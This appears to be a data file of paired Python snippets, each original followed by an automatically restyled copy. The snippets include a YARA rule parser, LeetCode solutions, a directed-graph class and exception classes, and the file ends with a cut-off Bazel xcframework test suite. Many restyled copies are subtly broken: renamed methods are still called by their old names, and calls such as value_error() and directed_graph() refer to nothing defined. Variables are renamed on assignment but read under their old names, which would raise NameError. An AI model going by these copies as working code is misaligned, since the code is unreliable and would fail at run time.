# go through file and split it in Yara rules and them in sections
skip_i = 0
for i in range(len(raw_strings_cleaned)):
# skip character(s)
if (skip_i > 0):
skip_i -= 1
continue
# find beginning of string variable name
if self.statusController.controlStatus("find_name", not self.statusController.findKeyword(raw_strings_cleaned, i, " "), "name"):
pass
# find end of string variable name
elif self.statusController.controlStatus("name", self.statusController.findKeyword(raw_strings_cleaned, i, "="), "find_field_value"):
continue
# find beginning of string variable value
if self.statusController.controlStatus("find_field_value", not self.statusController.findKeyword(raw_strings_cleaned, i, " "), "value"):
string_variable_type = self._identifyStringType(raw_strings_cleaned[i])
continue
# find end of string variable value
if (self.statusController.status == "value"):
# check for all 3 types of strings (text, regex, byte array) if the string is complete
# and save string variable if string is complete
if self._checkStringValueTerminator(string_variable_type, raw_strings_cleaned[i]):
self.statusController.status = "stringModifier"
continue
# look for string modification keywords after value ("wide", "ascii", "nocase", "fullword")
string_modifiers = ["wide", "ascii", "nocase", "fullword"]
for modifier in string_modifiers:
if self.statusController.controlStatus("stringModifier", self.statusController.findKeyword(raw_strings_cleaned, i, modifier), "stringModifier"):
var_keywords.append(modifier)
skip_i = len(modifier)
break
if (skip_i > 0):
continue
# check if there is any character after string, that is not part of a keyword and is no blank
self.statusController.controlStatus("stringModifier", not self.statusController.findKeyword(raw_strings_cleaned, i, " "), "saveString")
# save string if this the end of strings section is reached
if i == len(raw_strings_cleaned) - 1:
self.statusController.status = "saveString"
# save string
if (self.statusController.status == "saveString"):
# delete white spaces
var_name = var_name.strip()
if (string_variable_type == "regular_expression") or (string_variable_type == "byte_array"):
var_content = var_content.strip()
# save tuple in strings list
self.strings.append((string_variable_type, var_name, var_content, var_keywords))
# reset status
self.statusController.status = "name"
# reset variables
var_name = ""
var_content = ""
var_keywords = []
# copy content in string name or string value
if (self.statusController.status == "name"):
var_name += raw_strings[i]
if (self.statusController.status == "value"):
var_content += raw_strings[i]
def _analyzeCondition(self):
""" analyze Yara rule condition """
# delete tabs and linebreaks
temp_condition = self._linebreakAndTabsToSpace(self.raw_condition_cleaned)
# check if meta section exists
if (len(temp_condition) == 0) or (temp_condition.find(":") == -1):
return
# split at first colon
temp, temp_condition = temp_condition.split(":", 1)
# delete white spaces at beginning and end of string
temp_condition = temp_condition.strip()
# replace multiple spaces in string
temp_condition_len = 0
while (temp_condition_len != len(temp_condition)):
temp_condition_len = len(temp_condition)
temp_condition = temp_condition.replace(" ", " ")
# save condition in Yara rule
self.condition = temp_condition
def __str__(self):
if not self.rule_name:
return "Failed to load rule through YaraRuleLoader. Please be so kind and report this back for a bug fix! :)"
start_delimiters = {"text": "\"", "regular_expression": "/ ", "byte_array": "{ "}
end_delimiters = {"text": "\"", "regular_expression": " /", "byte_array": " }"}
result = ""
result += "global " if self.is_global else ""
result += "private " if self.is_private else ""
result += "rule " + self.rule_name
if self.rule_description:
result += " : " + " ".join(self.rule_description)
result += "\n{\n"
if self.meta:
result += " meta:\n"
for meta_line in self.meta:
if isinstance(meta_line[1], str):
result += " " * 8 + "%s = \"%s\"\n" % (meta_line[0], meta_line[1])
else:
result += " " * 8 + "%s = %s\n" % (meta_line[0], meta_line[1])
result += "\n"
if self.strings:
result += " strings:\n"
for string_line in self.strings:
result += " " * 8 + "%s = %s%s%s %s\n" % (string_line[1], start_delimiters[string_line[0]], string_line[2], end_delimiters[string_line[0]], " ".join(string_line[3]))
result += "\n"
result += " condition:\n"
result += " " * 8 + "%s\n" % self.condition
result += "}"
return result
def hasMatch(self):
if self.match_data:
return self.match_data["matches"]
else:
return False
def __repr__(self):
hit_strings = []
if self.match_data:
hit_strings = set([s[2] for s in self.match_data["strings"]])
return "YaraRule(name=\"%s\", match=%s, hits=%d/%d)" % (self.rule_name, self.match_data["matches"], len(hit_strings), len(self.strings))
else:
return "YaraRule(name=\"%s\")"
| class Yararule(object):
""" Yara Rule class """
def __init__(self, parent):
self.parent = parent
self.statusController = parent.StatusController()
self.filename = ''
self.raw_header = ''
self.raw_header_cleaned = ''
self.raw_meta = ''
self.raw_meta_cleaned = ''
self.raw_strings = ''
self.raw_strings_cleaned = ''
self.raw_condition = ''
self.raw_condition_cleaned = ''
self.is_global = False
self.is_private = False
self.rule_name = ''
self.rule_description = []
self.meta = []
self.strings = []
self.condition = ''
self.match_data = {}
def check_rule(self):
unique_names = {}
for string in self.strings:
if string[1] in unique_names:
print('[!] Rule %s has duplicate variable name: "%s"' % (self.rule_name, self.filename, string[1]))
raise exception('Duplicate variable name')
else:
unique_names[string[1]] = 'loaded'
return True
def analyze(self):
self._analyzeHeader()
self._analyzeMeta()
self._analyzeStrings()
self._analyzeCondition()
def _linebreak_and_tabs_to_space(self, content):
""" replace all linebreaks and tabs by spaces """
new_content = ''
for i in range(len(content)):
if content[i] == '\r':
new_content += ' '
elif content[i] == '\n':
new_content += ' '
elif content[i] == '\t':
new_content += ' '
else:
new_content += content[i]
return new_content
def _analyze_header(self):
""" analyze Yara rule header, find keywords PRIVATE and GLOBAL, get rule NAME and DESCRIPTION """
self.statusController.reset()
raw_header_cleaned = self._linebreakAndTabsToSpace(self.raw_header_cleaned)
raw_header_cleaned = raw_header_cleaned.replace(':', ' : ')
for header_word in raw_header_cleaned.split(' '):
if header_word == 'private':
self.is_private = True
elif header_word == 'global':
self.is_global = True
elif header_word == 'rule':
self.statusController.status = 'find_rule_name'
elif header_word == ':':
self.statusController.status = 'find_rule_description'
elif self.statusController.status == 'find_rule_name' and header_word != '':
self.rule_name = header_word
elif self.statusController.status == 'find_rule_description' and header_word != '':
self.rule_description.append(header_word)
def _analyze_meta(self):
""" analyze meta section of Yara rule and save tuples (meta name, meta value) in list of meta entries """
meta_name = ''
meta_content = ''
self.statusController.reset('find_name')
raw_meta = self.raw_meta
raw_meta_cleaned = self._linebreakAndTabsToSpace(self.raw_meta_cleaned)
if len(raw_meta_cleaned) == 0 or raw_meta_cleaned.find(':') == -1:
return
raw_meta += ' '
raw_meta_cleaned += ' '
(temp, meta_body_cleaned) = raw_meta_cleaned.split(':', 1)
meta_body = raw_meta[len(temp) + 1:]
for i in range(len(meta_body_cleaned)):
if self.statusController.controlStatus('find_name', not self.statusController.findKeyword(meta_body_cleaned, i, ' '), 'name'):
pass
elif self.statusController.controlStatus('name', self.statusController.findKeyword(meta_body_cleaned, i, '='), 'find_field_value'):
continue
if self.statusController.controlStatus('find_field_value', not self.statusController.findKeyword(meta_body_cleaned, i, ' '), 'value'):
if meta_body_cleaned[i] == '"':
continue
if self.statusController.controlStatus('value', i == len(meta_body_cleaned) - 1 or self.statusController.findKeyword(meta_body_cleaned, i, ' ') or self.statusController.findKeyword(meta_body_cleaned, i, '"'), 'find_name'):
if not self.statusController.findKeyword(meta_body_cleaned, i, ' ') and i == len(meta_body_cleaned) - 1:
meta_content += meta_body[i]
if self.statusController.findKeyword(meta_body_cleaned, i, ' ') or i == len(meta_body_cleaned) - 1:
if meta_content == 'true':
meta_content = True
elif meta_content == 'false':
meta_content = False
elif meta_content.isdigit():
meta_content = int(meta_content)
meta_name = meta_name.strip()
self.meta.append([meta_name, meta_content])
meta_name = ''
meta_content = ''
continue
if self.statusController.status == 'name':
meta_name += meta_body[i]
if self.statusController.status == 'value':
meta_content += meta_body[i]
def _identify_string_type(self, indicator):
""" identify type of string (text, regex, byte array) by it's first character """
if indicator == '"':
return 'text'
if indicator == '/':
return 'regular_expression'
if indicator == '{':
return 'byte_array'
raise value_error('Invalid string type indicator: %s' % indicator)
def _check_string_value_terminator(self, string_type, char):
terminator_types = [('text', '"'), ('regular_expression', '/'), ('byte_array', '}')]
return (string_type, char) in terminator_types
def _analyze_strings(self):
""" analyze strings section of Yara rule and save tuples (string name, string value, string type) in list of string entries """
var_name = ''
var_content = ''
var_keywords = []
self.statusController.reset('find_name')
raw_strings = self.raw_strings
raw_strings_cleaned = self._linebreakAndTabsToSpace(self.raw_strings_cleaned)
if len(raw_strings_cleaned) == 0 or raw_strings_cleaned.find(':') == -1:
return
raw_strings += ' '
raw_strings_cleaned += ' '
(temp, raw_strings_cleaned) = raw_strings_cleaned.split(':', 1)
raw_strings = raw_strings[len(temp) + 1:]
skip_i = 0
for i in range(len(raw_strings_cleaned)):
if skip_i > 0:
skip_i -= 1
continue
if self.statusController.controlStatus('find_name', not self.statusController.findKeyword(raw_strings_cleaned, i, ' '), 'name'):
pass
elif self.statusController.controlStatus('name', self.statusController.findKeyword(raw_strings_cleaned, i, '='), 'find_field_value'):
continue
if self.statusController.controlStatus('find_field_value', not self.statusController.findKeyword(raw_strings_cleaned, i, ' '), 'value'):
string_variable_type = self._identifyStringType(raw_strings_cleaned[i])
continue
if self.statusController.status == 'value':
if self._checkStringValueTerminator(string_variable_type, raw_strings_cleaned[i]):
self.statusController.status = 'stringModifier'
continue
string_modifiers = ['wide', 'ascii', 'nocase', 'fullword']
for modifier in string_modifiers:
if self.statusController.controlStatus('stringModifier', self.statusController.findKeyword(raw_strings_cleaned, i, modifier), 'stringModifier'):
var_keywords.append(modifier)
skip_i = len(modifier)
break
if skip_i > 0:
continue
self.statusController.controlStatus('stringModifier', not self.statusController.findKeyword(raw_strings_cleaned, i, ' '), 'saveString')
if i == len(raw_strings_cleaned) - 1:
self.statusController.status = 'saveString'
if self.statusController.status == 'saveString':
var_name = var_name.strip()
if string_variable_type == 'regular_expression' or string_variable_type == 'byte_array':
var_content = var_content.strip()
self.strings.append((string_variable_type, var_name, var_content, var_keywords))
self.statusController.status = 'name'
var_name = ''
var_content = ''
var_keywords = []
if self.statusController.status == 'name':
var_name += raw_strings[i]
if self.statusController.status == 'value':
var_content += raw_strings[i]
def _analyze_condition(self):
""" analyze Yara rule condition """
temp_condition = self._linebreakAndTabsToSpace(self.raw_condition_cleaned)
if len(temp_condition) == 0 or temp_condition.find(':') == -1:
return
(temp, temp_condition) = temp_condition.split(':', 1)
temp_condition = temp_condition.strip()
temp_condition_len = 0
while temp_condition_len != len(temp_condition):
temp_condition_len = len(temp_condition)
temp_condition = temp_condition.replace(' ', ' ')
self.condition = temp_condition
def __str__(self):
if not self.rule_name:
return 'Failed to load rule through YaraRuleLoader. Please be so kind and report this back for a bug fix! :)'
start_delimiters = {'text': '"', 'regular_expression': '/ ', 'byte_array': '{ '}
end_delimiters = {'text': '"', 'regular_expression': ' /', 'byte_array': ' }'}
result = ''
result += 'global ' if self.is_global else ''
result += 'private ' if self.is_private else ''
result += 'rule ' + self.rule_name
if self.rule_description:
result += ' : ' + ' '.join(self.rule_description)
result += '\n{\n'
if self.meta:
result += ' meta:\n'
for meta_line in self.meta:
if isinstance(meta_line[1], str):
result += ' ' * 8 + '%s = "%s"\n' % (meta_line[0], meta_line[1])
else:
result += ' ' * 8 + '%s = %s\n' % (meta_line[0], meta_line[1])
result += '\n'
if self.strings:
result += ' strings:\n'
for string_line in self.strings:
result += ' ' * 8 + '%s = %s%s%s %s\n' % (string_line[1], start_delimiters[string_line[0]], string_line[2], end_delimiters[string_line[0]], ' '.join(string_line[3]))
result += '\n'
result += ' condition:\n'
result += ' ' * 8 + '%s\n' % self.condition
result += '}'
return result
def has_match(self):
if self.match_data:
return self.match_data['matches']
else:
return False
def __repr__(self):
hit_strings = []
if self.match_data:
hit_strings = set([s[2] for s in self.match_data['strings']])
return 'YaraRule(name="%s", match=%s, hits=%d/%d)' % (self.rule_name, self.match_data['matches'], len(hit_strings), len(self.strings))
else:
return 'YaraRule(name="%s")' |
#
# @lc app=leetcode id=22 lang=python3
#
# [22] Generate Parentheses
#
# @lc code=start
class Solution:
def generateParenthesis(self, n: int) -> List[str]:
if n == 1:
return ['()']
last_parenthesis = self.generateParenthesis(n - 1)
stack = []
for parenthesis in last_parenthesis:
for i in range(len(parenthesis)):
if parenthesis[i] == ')':
new_str = self.insertString(parenthesis, i, ')(')
if not new_str in stack:
stack.append(new_str)
new_str = self.insertString(parenthesis, i, '()')
if new_str not in stack:
stack.append(new_str)
new_str = self.insertString(parenthesis, i + 1, '()')
if new_str not in stack:
stack.append(new_str)
return stack
def insertString(self, s: str, index: int, c: str) -> str:
if index >= len(s):
return s + c
return s[:index] + c + s[index:]
# @lc code=end
| class Solution:
def generate_parenthesis(self, n: int) -> List[str]:
if n == 1:
return ['()']
last_parenthesis = self.generateParenthesis(n - 1)
stack = []
for parenthesis in last_parenthesis:
for i in range(len(parenthesis)):
if parenthesis[i] == ')':
new_str = self.insertString(parenthesis, i, ')(')
if not new_str in stack:
stack.append(new_str)
new_str = self.insertString(parenthesis, i, '()')
if new_str not in stack:
stack.append(new_str)
new_str = self.insertString(parenthesis, i + 1, '()')
if new_str not in stack:
stack.append(new_str)
return stack
def insert_string(self, s: str, index: int, c: str) -> str:
if index >= len(s):
return s + c
return s[:index] + c + s[index:] |
def bifurcate(lst, filter):
return [
[x for i,x in enumerate(lst) if filter[i] == True],
[x for i,x in enumerate(lst) if filter[i] == False]
]
print(bifurcate(['beep', 'boop', 'foo', 'bar',], [True, True, False, True]))
| def bifurcate(lst, filter):
return [[x for (i, x) in enumerate(lst) if filter[i] == True], [x for (i, x) in enumerate(lst) if filter[i] == False]]
print(bifurcate(['beep', 'boop', 'foo', 'bar'], [True, True, False, True])) |
class SearchException(Exception):
pass
class SearchSyntaxError(SearchException):
def __init__(self, msg, reason='Syntax error'):
super(SearchSyntaxError, self).__init__(msg)
self.reason = reason
class UnknownField(SearchSyntaxError):
pass
class UnknownOperator(SearchSyntaxError):
pass
| class Searchexception(Exception):
pass
class Searchsyntaxerror(SearchException):
def __init__(self, msg, reason='Syntax error'):
super(SearchSyntaxError, self).__init__(msg)
self.reason = reason
class Unknownfield(SearchSyntaxError):
pass
class Unknownoperator(SearchSyntaxError):
pass |
class DirectedGraph:
"""Simple directed graph mapping from any -> any"""
def __init__(self):
self._nodes = set()
self._outputs = dict()
self._inputs = dict()
@property
def nodes(self):
return self._nodes
def inputs(self, n):
return self._inputs.get(n, set())
def outputs(self, n):
return self._outputs.get(n, set())
def has_inputs(self, n):
return n in self._inputs and self._inputs[n]
def has_outputs(self, n):
return n in self._outputs and self._outputs[n]
def copy(self):
g = DirectedGraph()
g._nodes = self._nodes.copy()
g._outputs = {n: self._outputs[n].copy() for n in self._outputs}
g._inputs = {n: self._inputs[n].copy() for n in self._inputs}
return g
def add_node(self, n):
self._nodes.add(n)
def add_edge(self, n1, n2):
self._nodes.add(n1)
self._nodes.add(n2)
if n1 not in self._outputs:
self._outputs[n1] = {n2}
else:
self._outputs[n1].add(n2)
if n2 not in self._inputs:
self._inputs[n2] = {n1}
else:
self._inputs[n2].add(n1)
def remove_edge(self, n1, n2):
if n1 in self._outputs:
if n2 in self._outputs[n1]:
self._outputs[n1].remove(n2)
if n2 in self._inputs:
if n1 in self._inputs[n2]:
self._inputs[n2].remove(n1)
def serialize(self):
"""Return a list of nodes, such that each node comes before it's output nodes"""
graph = self.copy()
# nodes with no inputs (temporary space)
beginnings = set()
# collect them
for n in graph.nodes:
if not graph.has_inputs(n):
beginnings.add(n)
if not beginnings:
raise ValueError("No start nodes in DirectedGraph")
linear = []
while beginnings:
# grab a node from work list
n = beginnings.pop()
# and add to output
linear.append(n)
# for each outgoing edge
for nout in list(graph.outputs(n)):
# remove this edge
graph.remove_edge(n, nout)
# if no other input node, move to beginnings
if not graph.has_inputs(nout):
beginnings.add(nout)
# see if deconstructed everything
for n in graph.nodes:
if graph.has_inputs(n):
raise ValueError("Loop in DirectedGraph involving node '%s'" % n)
return linear
if __name__ == "__main__":
g = DirectedGraph()
g.add_edge(1, 2)
g.add_edge(1, 3)
g.add_edge(2, 4)
g.add_edge(3, 4)
#g.add_edge(4, 5)
g.add_edge(5, 1)
g.add_edge(10, 5)
print(g.serialize())
| class Directedgraph:
"""Simple directed graph mapping from any -> any"""
def __init__(self):
self._nodes = set()
self._outputs = dict()
self._inputs = dict()
@property
def nodes(self):
return self._nodes
def inputs(self, n):
return self._inputs.get(n, set())
def outputs(self, n):
return self._outputs.get(n, set())
def has_inputs(self, n):
return n in self._inputs and self._inputs[n]
def has_outputs(self, n):
return n in self._outputs and self._outputs[n]
def copy(self):
g = directed_graph()
g._nodes = self._nodes.copy()
g._outputs = {n: self._outputs[n].copy() for n in self._outputs}
g._inputs = {n: self._inputs[n].copy() for n in self._inputs}
return g
def add_node(self, n):
self._nodes.add(n)
def add_edge(self, n1, n2):
self._nodes.add(n1)
self._nodes.add(n2)
if n1 not in self._outputs:
self._outputs[n1] = {n2}
else:
self._outputs[n1].add(n2)
if n2 not in self._inputs:
self._inputs[n2] = {n1}
else:
self._inputs[n2].add(n1)
def remove_edge(self, n1, n2):
if n1 in self._outputs:
if n2 in self._outputs[n1]:
self._outputs[n1].remove(n2)
if n2 in self._inputs:
if n1 in self._inputs[n2]:
self._inputs[n2].remove(n1)
def serialize(self):
"""Return a list of nodes, such that each node comes before it's output nodes"""
graph = self.copy()
beginnings = set()
for n in graph.nodes:
if not graph.has_inputs(n):
beginnings.add(n)
if not beginnings:
raise value_error('No start nodes in DirectedGraph')
linear = []
while beginnings:
n = beginnings.pop()
linear.append(n)
for nout in list(graph.outputs(n)):
graph.remove_edge(n, nout)
if not graph.has_inputs(nout):
beginnings.add(nout)
for n in graph.nodes:
if graph.has_inputs(n):
raise value_error("Loop in DirectedGraph involving node '%s'" % n)
return linear
if __name__ == '__main__':
g = directed_graph()
g.add_edge(1, 2)
g.add_edge(1, 3)
g.add_edge(2, 4)
g.add_edge(3, 4)
g.add_edge(5, 1)
g.add_edge(10, 5)
print(g.serialize()) |
counter = 0
def even_customers():
return counter%2==0
def incoming():
global counter
counter+=1
def outgoing():
global counter
if(counter > 0):
counter-=1
| counter = 0
def even_customers():
return counter % 2 == 0
def incoming():
global counter
counter += 1
def outgoing():
global counter
if counter > 0:
counter -= 1 |
"""Exceptions"""
class ModelConfigError(Exception):
"""Base error class for config files"""
| """Exceptions"""
class Modelconfigerror(Exception):
"""Base error class for config files""" |
# Problem description: Given two linked lists, return the node where the intersection begins, or if there's
# no intersection, return null.
# Solution time complexity: O(n)
# Comments: The solution with length offset. This solution makes use of the fact that if distance
# to the intersection node from headA is equal to headB, we can simply walk both lists
# incrementally until we encounter the intersection node.
#
# How do we do this? First, we walk both lists and find their lengths. Then we move the
# node of the bigger list as many times as required to make the count of nodes to the
# end equal in both lists. Now we can simply traverse both lists at the same time incre-
# mentally until we encounter the intersection node.
#
# a1->a2
# \
# c1->c2->c3
# /
# b1->b2->b3
#
#
# i)
# s
# x |------|
# |---|
# a1->a2
# \
# c1->c2->c3
# /
# b1->b2->b3
#
# ii)
# x s
# |---||------|
# len1
# |----------------|
# a1->a2->c1->c2->c3
# b1->b2->b3->c1->c2->c3
# |-------------------|
# len2
#
# x = abs(len1 - len2)
#
# iii)
# a1->a2 o->a2
# \ \
# c1->c2->c3 c1->c2->c3
# / /
# b2->b3 o->b3
#
# o->o
# \
# c1 <-- intersection node
# /
# o->o
#
# Definition for singly-linked list.
# class ListNode(object):
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution(object):
@staticmethod
def computeLinkedListLength(head):
count = 0
node = head
while node != None:
count += 1
node = node.next
return count
def getIntersectionNode(self, headA, headB):
"""
:type head1, head1: ListNode
:rtype: ListNode
"""
if headA == None or headB == None:
return None
lengthA = Solution.computeLinkedListLength(headA)
lengthB = Solution.computeLinkedListLength(headB)
nodeA = headA
nodeB = headB
countA = lengthA
countB = lengthB
while countA > countB:
countA -= 1
nodeA = nodeA.next
while countB > countA:
countB -= 1
nodeB = nodeB.next
while nodeA != None and nodeB != None:
if nodeA == nodeB:
return nodeA
else:
nodeA = nodeA.next
nodeB = nodeB.next
return None
| class Solution(object):
@staticmethod
def compute_linked_list_length(head):
count = 0
node = head
while node != None:
count += 1
node = node.next
return count
def get_intersection_node(self, headA, headB):
"""
:type head1, head1: ListNode
:rtype: ListNode
"""
if headA == None or headB == None:
return None
length_a = Solution.computeLinkedListLength(headA)
length_b = Solution.computeLinkedListLength(headB)
node_a = headA
node_b = headB
count_a = lengthA
count_b = lengthB
while countA > countB:
count_a -= 1
node_a = nodeA.next
while countB > countA:
count_b -= 1
node_b = nodeB.next
while nodeA != None and nodeB != None:
if nodeA == nodeB:
return nodeA
else:
node_a = nodeA.next
node_b = nodeB.next
return None |
class NoDataException(Exception):
pass
class BadAuthorization(Exception):
pass
| class Nodataexception(Exception):
pass
class Badauthorization(Exception):
pass |
# Copyright 2021 The Bazel Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""xcframework Starlark tests."""
load(
":rules/common_verification_tests.bzl",
"archive_contents_test",
"bitcode_symbol_map_test",
)
load(
":rules/dsyms_test.bzl",
"dsyms_test",
)
load(
":rules/infoplist_contents_test.bzl",
"infoplist_contents_test",
)
load(
":rules/linkmap_test.bzl",
"linkmap_test",
)
def apple_xcframework_test_suite(name):
"""Test suite for apple_xcframework.
Args:
name: the base name to be used in things created by this macro
"""
infoplist_contents_test(
name = "{}_ios_plist_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_values = {
"AvailableLibraries:0:LibraryIdentifier": "ios-arm64",
"AvailableLibraries:0:LibraryPath": "ios_dynamic_xcframework.framework",
"AvailableLibraries:0:SupportedArchitectures:0": "arm64",
"AvailableLibraries:0:SupportedPlatform": "ios",
"AvailableLibraries:1:LibraryIdentifier": "ios-x86_64-simulator",
"AvailableLibraries:1:LibraryPath": "ios_dynamic_xcframework.framework",
"AvailableLibraries:1:SupportedArchitectures:0": "x86_64",
"AvailableLibraries:1:SupportedPlatform": "ios",
"AvailableLibraries:1:SupportedPlatformVariant": "simulator",
"CFBundlePackageType": "XFWK",
"XCFrameworkFormatVersion": "1.0",
},
not_expected_keys = [
"AvailableLibraries:0:BitcodeSymbolMapsPath",
"AvailableLibraries:1:BitcodeSymbolMapsPath",
],
tags = [name],
)
infoplist_contents_test(
name = "{}_ios_fat_plist_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_values = {
"AvailableLibraries:0:LibraryIdentifier": "ios-arm64_armv7",
"AvailableLibraries:0:LibraryPath": "ios_dynamic_lipoed_xcframework.framework",
"AvailableLibraries:0:SupportedArchitectures:0": "arm64",
"AvailableLibraries:0:SupportedArchitectures:1": "armv7",
"AvailableLibraries:0:SupportedPlatform": "ios",
"AvailableLibraries:1:LibraryIdentifier": "ios-i386_arm64_x86_64-simulator",
"AvailableLibraries:1:LibraryPath": "ios_dynamic_lipoed_xcframework.framework",
"AvailableLibraries:1:SupportedArchitectures:0": "i386",
"AvailableLibraries:1:SupportedArchitectures:1": "arm64",
"AvailableLibraries:1:SupportedArchitectures:2": "x86_64",
"AvailableLibraries:1:SupportedPlatform": "ios",
"AvailableLibraries:1:SupportedPlatformVariant": "simulator",
"CFBundlePackageType": "XFWK",
"XCFrameworkFormatVersion": "1.0",
},
not_expected_keys = [
"AvailableLibraries:0:BitcodeSymbolMapsPath",
"AvailableLibraries:1:BitcodeSymbolMapsPath",
],
tags = [name],
)
infoplist_contents_test(
name = "{}_ios_plist_bitcode_test".format(name),
apple_bitcode = "embedded",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_values = {
"AvailableLibraries:0:LibraryIdentifier": "ios-arm64",
"AvailableLibraries:0:BitcodeSymbolMapsPath": "BCSymbolMaps",
"AvailableLibraries:1:LibraryIdentifier": "ios-x86_64-simulator",
},
not_expected_keys = [
"AvailableLibraries:1:BitcodeSymbolMapsPath",
],
tags = [name],
)
infoplist_contents_test(
name = "{}_ios_fat_plist_bitcode_test".format(name),
apple_bitcode = "embedded",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_values = {
"AvailableLibraries:0:LibraryIdentifier": "ios-arm64_armv7",
"AvailableLibraries:0:BitcodeSymbolMapsPath": "BCSymbolMaps",
"AvailableLibraries:1:LibraryIdentifier": "ios-i386_arm64_x86_64-simulator",
},
not_expected_keys = [
"AvailableLibraries:1:BitcodeSymbolMapsPath",
],
tags = [name],
)
archive_contents_test(
name = "{}_ios_arm64_device_archive_contents_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
binary_test_file = "$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/ios_dynamic_xcframework",
macho_load_commands_contain = ["name @rpath/ios_dynamic_xcframework.framework/ios_dynamic_xcframework (offset 24)"],
contains = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Headers/shared.h",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Headers/ios_dynamic_xcframework.h",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/ios_dynamic_xcframework",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/Info.plist",
],
tags = [name],
)
archive_contents_test(
name = "{}_ios_x86_64_sim_archive_contents_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
binary_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/ios_dynamic_xcframework",
macho_load_commands_contain = ["name @rpath/ios_dynamic_xcframework.framework/ios_dynamic_xcframework (offset 24)"],
contains = [
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Headers/shared.h",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Headers/ios_dynamic_xcframework.h",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/ios_dynamic_xcframework",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/Info.plist",
],
tags = [name],
)
archive_contents_test(
name = "{}_ios_fat_device_archive_contents_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
binary_test_file = "$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework",
macho_load_commands_contain = ["name @rpath/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework (offset 24)"],
contains = [
"$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Headers/shared.h",
"$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Headers/ios_dynamic_lipoed_xcframework.h",
"$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework",
"$BUNDLE_ROOT/ios-arm64_armv7/ios_dynamic_lipoed_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/Info.plist",
],
tags = [name],
)
archive_contents_test(
name = "{}_ios_fat_sim_archive_contents_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
binary_test_file = "$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework",
macho_load_commands_contain = ["name @rpath/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework (offset 24)"],
contains = [
"$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Headers/shared.h",
"$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Headers/ios_dynamic_lipoed_xcframework.h",
"$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/ios_dynamic_lipoed_xcframework",
"$BUNDLE_ROOT/ios-i386_arm64_x86_64-simulator/ios_dynamic_lipoed_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/Info.plist",
],
tags = [name],
)
dsyms_test(
name = "{}_device_dsyms_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_dsyms = ["ios_dynamic_xcframework_ios_device.framework"],
architectures = ["arm64"],
tags = [name],
)
dsyms_test(
name = "{}_simulator_dsyms_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework",
expected_dsyms = ["ios_dynamic_xcframework_ios_simulator.framework"],
architectures = ["x86_64"],
tags = [name],
)
dsyms_test(
name = "{}_fat_device_dsyms_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
expected_dsyms = ["ios_dynamic_lipoed_xcframework_ios_device.framework"],
architectures = ["arm64", "armv7"],
tags = [name],
)
dsyms_test(
name = "{}_fat_simulator_dsyms_test".format(name),
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_xcframework",
